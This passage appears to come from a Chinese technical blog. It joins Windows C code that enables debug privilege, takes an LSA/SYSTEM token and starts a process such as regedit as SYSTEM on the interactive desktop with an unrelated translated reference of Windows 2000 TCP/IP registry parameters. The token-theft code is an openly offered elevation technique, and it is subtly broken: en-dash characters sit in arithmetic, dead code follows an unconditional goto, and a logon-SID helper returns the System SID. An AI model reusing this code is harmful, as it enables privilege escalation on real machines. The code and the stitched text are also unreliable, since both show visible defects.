        if (hProc != NULL)    CloseHandle(hProc);
        if(bSuccess)
            return hToken;
        else
        {
            ::CloseHandle(hToken);
            return NULL;
        }
    }
}

#define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \
        DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \
        DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \
        DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)

#define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES |  \
    WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \
        WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \
        WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \
        WINSTA_READSCREEN | \
        STANDARD_RIGHTS_REQUIRED)

#define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);

BOOL AddAceToDesktop(HDESK hdesk, PSID psid);

BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)
{
    PWTS_PROCESS_INFO pProcessInfo = NULL;
    DWORD             ProcessCount = 0;
    BOOL                ret=FALSE;

    if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
    {
        // dump each process description
        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
        {

            if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )
            {
                //*ppsid = pProcessInfo[CurrentProcess].pUserSid;
                DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);
                *ppsid = (PSID) HeapAlloc(GetProcessHeap(),
                            HEAP_ZERO_MEMORY, dwLength);
                if (*ppsid == NULL)
                    break;
                if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))
                {
                    HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
                    break;
                }
                ret=TRUE;
                break;
            }
        }

        WTSFreeMemory(pProcessInfo);
    }

    return ret;
}

BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)
{
   BOOL bSuccess = FALSE;
   DWORD dwIndex;
   DWORD dwLength = 0;
   PTOKEN_GROUPS ptg = NULL;

// Verify the parameter passed in is not NULL.
    if (NULL == ppsid)
        goto Cleanup;

// Get required buffer size and allocate the TOKEN_GROUPS buffer.

   if (!GetTokenInformation(
         hToken,         // handle to the access token
         TokenGroups,    // get information about the token’s groups
         (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer
         0,              // size of buffer
         &dwLength       // receives required buffer size
      ))
   {
      if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
         goto Cleanup;

      ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),
         HEAP_ZERO_MEMORY, dwLength);

      if (ptg == NULL)
         goto Cleanup;
   }


// Get the token group information from the access token.

   if (!GetTokenInformation(
         hToken,         // handle to the access token
         TokenGroups,    // get information about the token’s groups
         (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer
         dwLength,       // size of buffer
         &dwLength       // receives required buffer size
         ))
   {
      goto Cleanup;
   }

// Loop through the groups to find the logon SID.

   for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)
      if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)
             ==  SE_GROUP_LOGON_ID)
      {
      // Found the logon SID; make a copy of it.

         dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);
         *ppsid = (PSID) HeapAlloc(GetProcessHeap(),
                     HEAP_ZERO_MEMORY, dwLength);
         if (*ppsid == NULL)
             goto Cleanup;
         if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))
         {
             HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
             goto Cleanup;
         }
         break;
      }

   bSuccess = TRUE;

Cleanup:

// Free the buffer for the token groups.

   if (ptg != NULL)
      HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);

   return bSuccess;
}




VOID FreeLogonSID (PSID *ppsid)
{
    HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
}


BOOL StartInteractiveClientProcess (
    LPTSTR lpszUsername,    // client to log on
    LPTSTR lpszDomain,      // domain of client’s account
    LPTSTR lpszPassword,    // client’s password
    LPTSTR lpCommandLine,    // command line to execute
    HANDLE Token = NULL
)
{
   HANDLE      hToken;
   HDESK       hdesk = NULL;
   HWINSTA     hwinsta = NULL, hwinstaSave = NULL;
   PROCESS_INFORMATION pi;
   PSID pSid = NULL;
   STARTUPINFO si;
   BOOL bResult = FALSE;

// Log the client on to the local computer.

   if(Token!=NULL)
   {
       printf("%08x\n", Token);
       hToken = Token;
   }
   else if (!LogonUser(
           lpszUsername,
           lpszDomain,
           lpszPassword,
           LOGON32_LOGON_INTERACTIVE,
           LOGON32_PROVIDER_DEFAULT,
           &hToken) )
   {
      goto Cleanup;
   }

// Save a handle to the caller’s current window station.

   if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)
      goto Cleanup;

// Get a handle to the interactive window station.

   hwinsta = OpenWindowStation(
       "winsta0",                   // the interactive window station
       FALSE,                       // handle is not inheritable
       READ_CONTROL | WRITE_DAC);   // rights to read/write the DACL

   if (hwinsta == NULL)
      goto Cleanup;

// To get the correct default desktop, set the caller’s
// window station to the interactive window station.

   if (!SetProcessWindowStation(hwinsta))
      goto Cleanup;

// Get a handle to the interactive desktop.

   hdesk = OpenDesktop(
      "default",     // the interactive window station
      0,             // no interaction with other desktop processes
      FALSE,         // handle is not inheritable
      READ_CONTROL | // request the rights to read and write the DACL
      WRITE_DAC |
      DESKTOP_WRITEOBJECTS |
      DESKTOP_READOBJECTS);

// Restore the caller’s window station.

   if (!SetProcessWindowStation(hwinstaSave))
      goto Cleanup;

   if (hdesk == NULL)
      goto Cleanup;

// Get the SID for the client’s logon session.

   if (!GetLogonSID(hToken, &pSid))
      goto Cleanup;

// Allow logon SID full access to interactive window station.

   if (! AddAceToWindowStation(hwinsta, pSid) )
      goto Cleanup;

// Allow logon SID full access to interactive desktop.

   if (! AddAceToDesktop(hdesk, pSid) )
      goto Cleanup;

// Impersonate client to ensure access to executable file.

   if (! ImpersonateLoggedOnUser(hToken) )
      goto Cleanup;

// Initialize the STARTUPINFO structure.
// Specify that the process runs in the interactive desktop.

   ZeroMemory(&si, sizeof(STARTUPINFO));
   si.cb= sizeof(STARTUPINFO);
   si.lpDesktop = TEXT("winsta0\\default");  //You can use EnumWindowStations to enum desktop

// Launch the process in the client’s logon session.

   bResult = CreateProcessAsUser(
      hToken,            // client’s access token
      NULL,              // file to execute
      lpCommandLine,     // command line
      NULL,              // pointer to process SECURITY_ATTRIBUTES
      NULL,              // pointer to thread SECURITY_ATTRIBUTES
      FALSE,             // handles are not inheritable
      NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,   // creation flags
      NULL,              // pointer to new environment block
      NULL,              // name of current directory
      &si,               // pointer to STARTUPINFO structure
      &pi                // receives information about new process
   );

// End impersonation of client.

   RevertToSelf();

   goto Cleanup;
   //return bResult; <————————————————————————

   if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)
   {
      WaitForSingleObject(pi.hProcess, INFINITE);
      CloseHandle(pi.hProcess);
   }

   if (pi.hThread != INVALID_HANDLE_VALUE)
      CloseHandle(pi.hThread);  

Cleanup:

   if (hwinstaSave != NULL)
      SetProcessWindowStation (hwinstaSave);

// Free the buffer for the logon SID.

   if (pSid)
      FreeLogonSID(&pSid);

// Close the handles to the interactive window station and desktop.

   if (hwinsta)
      CloseWindowStation(hwinsta);

   if (hdesk)
      CloseDesktop(hdesk);

// Close the handle to the client’s access token.

   if (hToken != INVALID_HANDLE_VALUE)
      CloseHandle(hToken);  

   return bResult;
}

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)
{
   ACCESS_ALLOWED_ACE   *pace;
   ACL_SIZE_INFORMATION aclSizeInfo;
   BOOL                 bDaclExist;
   BOOL                 bDaclPresent;
   BOOL                 bSuccess = FALSE;
   DWORD                dwNewAclSize;
   DWORD                dwSidSize = 0;
   DWORD                dwSdSizeNeeded;
   PACL                 pacl;
   PACL                 pNewAcl;
   PSECURITY_DESCRIPTOR psd = NULL;
   PSECURITY_DESCRIPTOR psdNew = NULL;
   PVOID                pTempAce;
   SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
   unsigned int         i;

   __try
   {
      // Obtain the DACL for the window station.

      if (!GetUserObjectSecurity(
             hwinsta,
             &si,
             psd,
             dwSidSize,
             &dwSdSizeNeeded)
      )
      if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
      {
         psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
               GetProcessHeap(),
               HEAP_ZERO_MEMORY,
               dwSdSizeNeeded);

         if (psd == NULL)
            __leave;

         psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
               GetProcessHeap(),
               HEAP_ZERO_MEMORY,
               dwSdSizeNeeded);

         if (psdNew == NULL)
            __leave;

         dwSidSize = dwSdSizeNeeded;

         if (!GetUserObjectSecurity(
               hwinsta,
               &si,
               psd,
               dwSidSize,
               &dwSdSizeNeeded)
         )
            __leave;
      }
      else
         __leave;

      // Create a new DACL.

      if (!InitializeSecurityDescriptor(
            psdNew,
            SECURITY_DESCRIPTOR_REVISION)
      )
         __leave;

      // Get the DACL from the security descriptor.

      if (!GetSecurityDescriptorDacl(
            psd,
            &bDaclPresent,
            &pacl,
            &bDaclExist)
      )
         __leave;

      // Initialize the ACL.

      ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
      aclSizeInfo.AclBytesInUse = sizeof(ACL);

      // Call only if the DACL is not NULL.

      if (pacl != NULL)
      {
         // get the file ACL size info
         if (!GetAclInformation(
               pacl,
               (LPVOID)&aclSizeInfo,
               sizeof(ACL_SIZE_INFORMATION),
               AclSizeInformation)
         )
            __leave;
      }

      // Compute the size of the new ACL.

      dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) – (2*sizeof(DWORD));

      // Allocate memory for the new ACL.

      pNewAcl = (PACL)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            dwNewAclSize);

      if (pNewAcl == NULL)
         __leave;

      // Initialize the new DACL.

      if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
         __leave;

      // If DACL is present, copy it to a new DACL.

      if (bDaclPresent)
      {
         // Copy the ACEs to the new ACL.
         if (aclSizeInfo.AceCount)
         {
            for (i=0; i < aclSizeInfo.AceCount; i++)
            {
               // Get an ACE.
               if (!GetAce(pacl, i, &pTempAce))
                  __leave;

               // Add the ACE to the new ACL.
               if (!AddAce(
                     pNewAcl,
                     ACL_REVISION,
                     MAXDWORD,
                     pTempAce,
                    ((PACE_HEADER)pTempAce)->AceSize)
               )
                  __leave;
            }
         }
      }

      // Add the first ACE to the window station.

      pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -
                  sizeof(DWORD));

      if (pace == NULL)
         __leave;

      pace->Header.AceType  = ACCESS_ALLOWED_ACE_TYPE;
      pace->Header.AceFlags = CONTAINER_INHERIT_ACE |
                   INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;
      pace->Header.AceSize  = sizeof(ACCESS_ALLOWED_ACE) +
                   GetLengthSid(psid) – sizeof(DWORD);
      pace->Mask            = GENERIC_ACCESS;

      if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))
         __leave;

      if (!AddAce(
            pNewAcl,
            ACL_REVISION,
            MAXDWORD,
            (LPVOID)pace,
            pace->Header.AceSize)
      )
         __leave;

      // Add the second ACE to the window station.

      pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;
      pace->Mask            = WINSTA_ALL;

      if (!AddAce(
            pNewAcl,
            ACL_REVISION,
            MAXDWORD,
            (LPVOID)pace,
            pace->Header.AceSize)
      )
         __leave;

      // Set a new DACL for the security descriptor.

      if (!SetSecurityDescriptorDacl(
            psdNew,
            TRUE,
            pNewAcl,
            FALSE)
      )
         __leave;

      // Set the new security descriptor for the window station.

      if (!SetUserObjectSecurity(hwinsta, &si, psdNew))
         __leave;

      // Indicate success.

      bSuccess = TRUE;
   }
   __finally
   {
      // Free the allocated buffers.

      if (pace != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pace);

      if (pNewAcl != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

      if (psd != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

      if (psdNew != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
   }

   return bSuccess;

}

BOOL AddAceToDesktop(HDESK hdesk, PSID psid)
{
   ACL_SIZE_INFORMATION aclSizeInfo;
   BOOL                 bDaclExist;
   BOOL                 bDaclPresent;
   BOOL                 bSuccess = FALSE;
   DWORD                dwNewAclSize;
   DWORD                dwSidSize = 0;
   DWORD                dwSdSizeNeeded;
   PACL                 pacl;
   PACL                 pNewAcl;
   PSECURITY_DESCRIPTOR psd = NULL;
   PSECURITY_DESCRIPTOR psdNew = NULL;
   PVOID                pTempAce;
   SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
   unsigned int         i;

   __try
   {
      // Obtain the security descriptor for the desktop object.

      if (!GetUserObjectSecurity(
            hdesk,
            &si,
            psd,
            dwSidSize,
            &dwSdSizeNeeded))
      {
         if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
         {
            psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
                  GetProcessHeap(),
                  HEAP_ZERO_MEMORY,
                  dwSdSizeNeeded );

            if (psd == NULL)
               __leave;

            psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
                  GetProcessHeap(),
                  HEAP_ZERO_MEMORY,
                  dwSdSizeNeeded);

            if (psdNew == NULL)
               __leave;

            dwSidSize = dwSdSizeNeeded;

            if (!GetUserObjectSecurity(
                  hdesk,
                  &si,
                  psd,
                  dwSidSize,
                  &dwSdSizeNeeded)
            )
               __leave;
         }
         else
            __leave;
      }

      // Create a new security descriptor.

      if (!InitializeSecurityDescriptor(
            psdNew,
            SECURITY_DESCRIPTOR_REVISION)
      )
         __leave;

      // Obtain the DACL from the security descriptor.

      if (!GetSecurityDescriptorDacl(
            psd,
            &bDaclPresent,
            &pacl,
            &bDaclExist)
      )
         __leave;

      // Initialize.

      ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
      aclSizeInfo.AclBytesInUse = sizeof(ACL);

      // Call only if NULL DACL.

      if (pacl != NULL)
      {
         // Determine the size of the ACL information.

         if (!GetAclInformation(
               pacl,
               (LPVOID)&aclSizeInfo,
               sizeof(ACL_SIZE_INFORMATION),
               AclSizeInformation)
         )
            __leave;
      }

      // Compute the size of the new ACL.

      dwNewAclSize = aclSizeInfo.AclBytesInUse +
            sizeof(ACCESS_ALLOWED_ACE) +
            GetLengthSid(psid) – sizeof(DWORD);

      // Allocate buffer for the new ACL.

      pNewAcl = (PACL)HeapAlloc(
            GetProcessHeap(),
            HEAP_ZERO_MEMORY,
            dwNewAclSize);

      if (pNewAcl == NULL)
         __leave;

      // Initialize the new ACL.

      if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
         __leave;

      // If DACL is present, copy it to a new DACL.

      if (bDaclPresent)
      {
         // Copy the ACEs to the new ACL.
         if (aclSizeInfo.AceCount)
         {
            for (i=0; i < aclSizeInfo.AceCount; i++)
            {
               // Get an ACE.
               if (!GetAce(pacl, i, &pTempAce))
                  __leave;

               // Add the ACE to the new ACL.
               if (!AddAce(
                  pNewAcl,
                  ACL_REVISION,
                  MAXDWORD,
                  pTempAce,
                  ((PACE_HEADER)pTempAce)->AceSize)
               )
                  __leave;
            }
         }
      }

      // Add ACE to the DACL.

      if (!AddAccessAllowedAce(
            pNewAcl,
            ACL_REVISION,
            DESKTOP_ALL,
            psid)
      )
         __leave;

      // Set new DACL to the new security descriptor.

      if (!SetSecurityDescriptorDacl(
            psdNew,
            TRUE,
            pNewAcl,
            FALSE)
      )
         __leave;

      // Set the new security descriptor for the desktop object.

      if (!SetUserObjectSecurity(hdesk, &si, psdNew))
         __leave;

      // Indicate success.

      bSuccess = TRUE;
   }
   __finally
   {
      // Free buffers.

      if (pNewAcl != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

      if (psd != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

      if (psdNew != NULL)
         HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
   }

   return bSuccess;
}

int main(int argc, char **argv)
{
    HANDLE hToken = NULL;
    EnablePrivilege(SE_DEBUG_NAME);
    hToken = GetLSAToken();
    StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken);
    return 0;
}



上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定.
代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先… ;-)

TCP/IP 配置参数

  Windows 2000 TCP/IP 协议组件实现从注册表中获取全部配置数据。配置信息
是由安装程序写到注册表中的。一些信息也可以由动态主机配置协议 (DHCP) 客户
服务提供(如启用)。本附录定义了用于配置协议驱动程序 (Tcpip.sys) 的所有
注册表参数,它实施标准的 TCP/IP 网络协议。

  仅使用安装程序和 DHCP 所收集的配置信息,协议组件实现就可以在大多数环
境中正常而有效地工作。大多数使用环境下,协议的所有其它配置项的最优默认值
已编入该驱动程序中。一些用户安装设置可能需要更改某些默认值。要这样做,可
以创建一些可选的注册表参数,修改协议驱动程序某些默认设置。

{0>Note The Windows TCP/IP implementation is largely self-tuning.<}0{>备
注 Windows TCP/IP 实现基本上是自调整的。<0} {0>Adjusting registry
parameters may adversely affect system performance.<}0{>?调整注册表参数
可能对系统性能造成不利的影响。0}

所有 TCP/IP 参数就是放在注册表项下面的注册表值。

HKEY_LOCAL_MACHINE
\SYSTEM
\CurrentControlSet
\Services:
\Tcpip
\Parameters

适配器特有的数值列在每个适配器的子项中。根据系统或适配器是由 DHCP 配置的
,还是指定了静态覆盖值,参数可能会拥有 DHCP 配置和静态配置值。如果使用注
册表编辑器更改其中的任何参数,通常系统需要重新启动,更改才能生效。如果使
用网络连接接口更改注册表值,通常不需要重新启动。

可用注册表编辑器配置的参数
在 TCP/IP 组件安装过程中,设定下列参数的默认值。要修改其中的任何值,请使
用注册表编辑器 (Regedt32.exe)。默认情况下,在注册表中可以看见一些参数,
但是大多数参数必须重新创建,以便修改 TCP/IP 协议驱动程序的默认设置。以下
分别列出了用户接口的可配置参数。

AllowUserRawAccess

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围: 0、1(false、true)

默认值: 0 (false)

说明:该参数控制对原始套接字的访问。如果为 true,则非管理用户可以访问原
始套接字。默认情况下,只有管理员可以访问原始套接字。有关原始套接字的详细
信息,请参见 Windows Sockets 规范,网址是: ftp://ftp.microsoft./
com/bussys/winsock/winsock2。

ArpAlwaysSourceRoute

项:Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1 或不存在(false、true 或不存在)

默认值:不存在


说明:默认情况下,栈首先启动没有源路由查询,如果没有收到应答,则用源路由
重试。将该参数设为 0,则不使用源路由发送所有 IP 广播。将该参数设置为 1,
就会强制 TCP/IP 使用在令牌环网络上启用的源路由发送 ARP 查询。(在
Windows NT 4.0 SP2 中引入了对该参数定义的修改。)

ArpCacheLife

项: Tcpip\Parameters

数值类型: REG_DWORD – 秒数

有效范围: 0-0xFFFFFFFF

默认值: 在没有 ArpCacheLife 参数的情况下,ARP 缓存超时的默认值为:未使
用项为 2 分钟;已使用项为 10 分钟。

说明:请参见 ArpCacheMinReferencedLife

ArpCacheMinReferencedLife

项: Tcpip\Parameters

数值类型: REG_DWORD – 秒数

有效范围: 0-0xFFFFFFFF

默认值: 600 秒(10 分钟)

说明: ArpCacheMinReferencedLife 控制引用 ARP 缓存项到期的最小时间。该参
数可与 ArpCacheLife 参数一起使用,如下所示:

如果 ArpCacheLife 大于或等于 ArpCacheMinReferencedLife,则引用或未引用的
ARP 缓存项在 ArpCacheLife 秒后到期。
如果 ArpCacheLife 小于 ArpCacheMinReferencedLife,未引用项在
ArpCacheLife 秒后到期,而引用项在 ArpCacheMinReferencedLife 秒后到期。

每次将出站数据包发送到项的 IP 地址时,就会引用 ARP 缓存中的项。

ArpRetryCount

项: Tcpip\Parameters

数值类型: REG_DWORD – 数字

有效范围: 1-3

默认值: 3

说明:该参数控制在初始化过程中计算机为其 IP 地址发送免费 ARP 的次数。发
送免费 ARP 是为了保证该 IP 地址在网络其它位置未被使用。该数值控制实际发
送的 ARP 次数,而不是重试的次数。

ArpTRSingleRoute

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:将该参数设置为 1,就会将启用源路由(令牌环)的 ARP 广播作为单路由
广播发送,而不是所有路由广播。

ArpUseEtherSNAP

项:Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:将该参数设置为 1,就会强制 TCP/IP 使用 802.3 SNAP 编码传输以太网数
据包。默认情况下,栈以 DIX 以太网格式传输数据包。它始终接收两种格式的数
据包。

DatabasePath

项:Tcpip\Parameters

数值类型:REG_EXPAND_SZ – 字符串

有效范围:有效的 Windows NT 文件路径

默认值:%SystemRoot%\system32\drivers\etc

说明:该参数指定标准 Internet 数据库文件(Hosts、Lmhosts、网络、协议、服
务)的路径。Windows Sockets 接口使用该参数。

DefaultTTL

项: Tcpip\Parameters

数值类型: REG_DWORD – 秒数/跃点数

有效范围: 0-0xff(0-255 十进制)

默认值: 128

说明: 指定传出 IP 数据包中设置的默认生存时间 (TTL) 值。TTL 决定了 IP 数
据包在到达目标前在网络中生存的最大时间。它实际上限定了 IP 数据包在丢弃前
允许通过的路由器数量。

DisableDHCPMediaSense


项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围 0、1(false、true)

默认值: 0 (false)

说明: 该参数可用来控制 DHCP 媒体侦听性能。如果将其设置为 1,DHCP 客户机
就会忽略接口的媒体侦听事件。默认情况下,媒体侦听事件将触发 DHCP 采取措施
,如获取一个租约(发生连接事件时);或者使接口和路由无效(发生断开连接时
)。

DisableIPSourceRouting

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1、2

0 – 转发所有数据包
1 – 不转发源路由数据包
2 – 丢弃所有传入的源路由数据包

默认值: 1 (true)

说明: IP 源路由是允许发送者确定数据报通过网络所采用 IP 路由的一种机制,
主要由 tracert.exe 和 ping.exe 工具所使用。

Windows NT 4.0 Service Pack 5 中添加了这一参数(请参见 Microsoft
Knowledge Base 文章 Q217336<http://search.support.microsoft.com/kb/c.
asp>)。在默认情况下,Windows 2000 禁用 IP 源路由。

DisableMediaSenseEventLog

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明: 该参数用于禁止使用 DHCP 媒体侦听事件的日志记录。默认情况下,媒体
侦听事件(连接/断开网络)被记录在事件日志中,以便于疑难解答。

DisableTaskOffload

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:该参数通知 TCP/IP 栈禁止将任务卸载到网关,以便于疑难解答与测试。


DisableUserTOSSetting

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 1 (true)

说明:该参数允许程序设置传出 IP 数据包报头的服务种类 (TOS) 位。在
Windows 2000 中,该参数默认值为 true。一般情况下,不允许各应用程序设置
TOS 位,因为这可能会欺骗系统策略机制,如本文“服务质量 (QoS) 与资源保留
协议”一节中所述的那些机制。

DontAddDefaultGateway

项: Tcpip\Parameters \Interfaces\interface

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0

说明: 安装 PPTP 时,给每个 LAN 适配器安装一个默认路由。通过添加该数值并
将其值设为 1,可以禁用某个适配器的默认路由。之后,您可能需要为使用路由器
(而不是默认网关)路由的主机配置静态路由。

EnableAddrMaskReply

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值:0 (false)

说明:该参数控制计算机是否响应 ICMP 地址掩码请求。

EnableBcastArpReply

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值:1 (true)

说明: 当 ARP 中的源以太网地址不是单播时,该参数控制计算机是否响应 ARP
请求。如果将该数值设置为 0,网络负载平衡服务 (NLBS) 将不能正常工作。

EnableDeadGWDetect

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 1 (true)

说明: 将该参数设置为 1 时,允许 TCP 执行间隔网关检测。启用该功能时,如
果处理多个连接有困难时,TCP 可以请求 IP 改用备份网关。备份网关可以在“网
络控制面板”中“TCP/IP 配置”对话框的“高级”部分进行定义。有关详细信息
,请参见本文“间隔网关检测”一节。

EnableICMPRedirects

项: Tcpip\Parameters

数值类型:REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 1 (True),用于 Beta 3。在 RC1 中预定改为 1 (True)

推荐值: 0 (False)

说明:该参数控制 Windows 2000 是否会改变其路由表以响应网络设备(如路由器
)发送给它的 ICMP 重定向消息。

EnableFastRouteLookup

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:如果设置该标志,则启用路由查找。这可加快路由查找,但会占用非分页池
内存。仅当计算机运行 Windows 2000 Server 且属于中型或大型机(换句话说,
至少包含 64 MB 内存)时,才使用此标志。可以通过路由与远程访问服务创建该
参数。

EnableMulticastForwarding

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:路由服务使用该参数确定是否转发 IP 多播。可以通过路由与远程访问服务
创建该参数。

EnablePMTUBHDetect

项: Tcpip\Parameters

数值类型: REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 0 (false)

说明:将该参数设置为 1 (true),当 TCP 执行路径 MTU 发现时,就会检测“黑
洞”路由器。当需要用 Don’t Fragment 位设置分片 IP 数据报时,黑洞路由器不
返回 ICMP Destination Unreachable 消息。TCP 依靠接收这些消息执行路径 MTU
发现。当启动此功能时,如果几次重新发送字段没有确认,TCP 将尝试不设置
Don’t Fragment 位的情况下发送字段11。如果收到字段确认,MSS 将降低,并将
连接上以后发送的数据包中设置 Don’t Fragment 位。启用黑洞路由器,将增加某
个字段重新发送的最多次数。

EnablePMTUDiscovery

项: Tcpip\Parameters

数值类型:REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 1 (true)

说明:将该参数设置为 1 (true) 时,TCP 将查找到达远程主机路径上的最大传输
单位(MTU 或最大的数据包大小)。通过发现路径 MTU 并将 TCP 字段限制到这个
大小,对于路径上连接不同 MTU 网络的路由器而言,TCP 不再需要进行分片。碎
片会影响 TCP 吞吐量和网络堵塞。将这个参数设置成 0,所有不在本地子网上的
主机连接就会使用 576 字节的 MTU。

FFPControlFlags

项: Tcpip\Parameters

数值类型:REG_DWORD – 布尔值

有效范围:0、1(false、true)

默认值: 1 (true)

说明:如果将该参数设置为 1,就会启用快速转发路径 (FFP)。如果将它设置为
0,TCP/IP 通知所有可使用 FFP 的适配器不要在该计算机上快速转发。可使用快
速转发路径的网络适配器从栈中接收路由信息,并在硬件中转发随后的数据包,而
不用将它们上传到栈中。FFP 参数放在 TCP/IP 注册表项中,但实际上由路由与远
程访问服务 (RRAS) 服务设置。有关详细信息,请参见 RRAS 文档。

FFPFastForwardingCacheSize

项: Tcpip\Parameters

数值类型:REG_DWORD – 字节数

有效范围: 0-0xFFFFFFFF

默认值: 100,000 字节

说明:对于支持快速转发 (FFP) 的驱动程序,如果它使用系统内存分配快速转发
缓存,则该参数表示它可以分配的最大内存数。如果设备有自己的快速转发内存,
则忽略该数值。

ForwardBufferMemory

项: Tcpip\Parameters

数值类型:REG_DWORD – 字节数

有效范围: 网络 MTU-小于 0xFFFFFFFF 的合理数值。

默认值: 74240(足可用于 50 个 1480 字节数据包,可以舍入 256 的倍数)

说明: 该参数表示 IP 最初分配多少内存来存储路由器数据队列中数据包数据。
当该缓冲空间满了时,系统就会分配更多的内存。数据包队列数据缓冲区为 256
字节,因此这个参数的值应为 256 的倍数。几个缓冲器连在一起可形成大数据包
。数据包的 IP 报头分别存储。如果 IP 路由功能没有启用,则忽略该参数,并且
不分配缓冲区。此功能分配的最大内存数是由 MaxForwardBufferMemory 控制的。


GlobalMaxTcpWindowSize

项: Tcpip\Parameters

数值类型: REG_DWORD – 字节数

有效范围: 0-0×3FFFFFFF(十进制为 1073741823;但是当连接到其它支持 RFC
1323 窗口缩放的系统时,可以获得大于 64 KB 的数值,它在本文的 TCP 部分进
行了讨论。另外,必须使用 Tcp1323Opts 注册表参数启用窗口缩放。)

默认值: 默认情况下,该参数不存在。

说明:TcpWindowSize 参数可用于在每个接口上设置接收窗口。该参数可用于在整
个系统上设置 TCP 窗口大小的全局限制。该参数是 Windows 2000 中的新增功能


IPAutoconfigurationAddress

项: Tcpip\Parameters\Interfaces\<interface>

数值类型:REG_SZ – 字符串

有效范围:有效 IP 地址

默认值:无

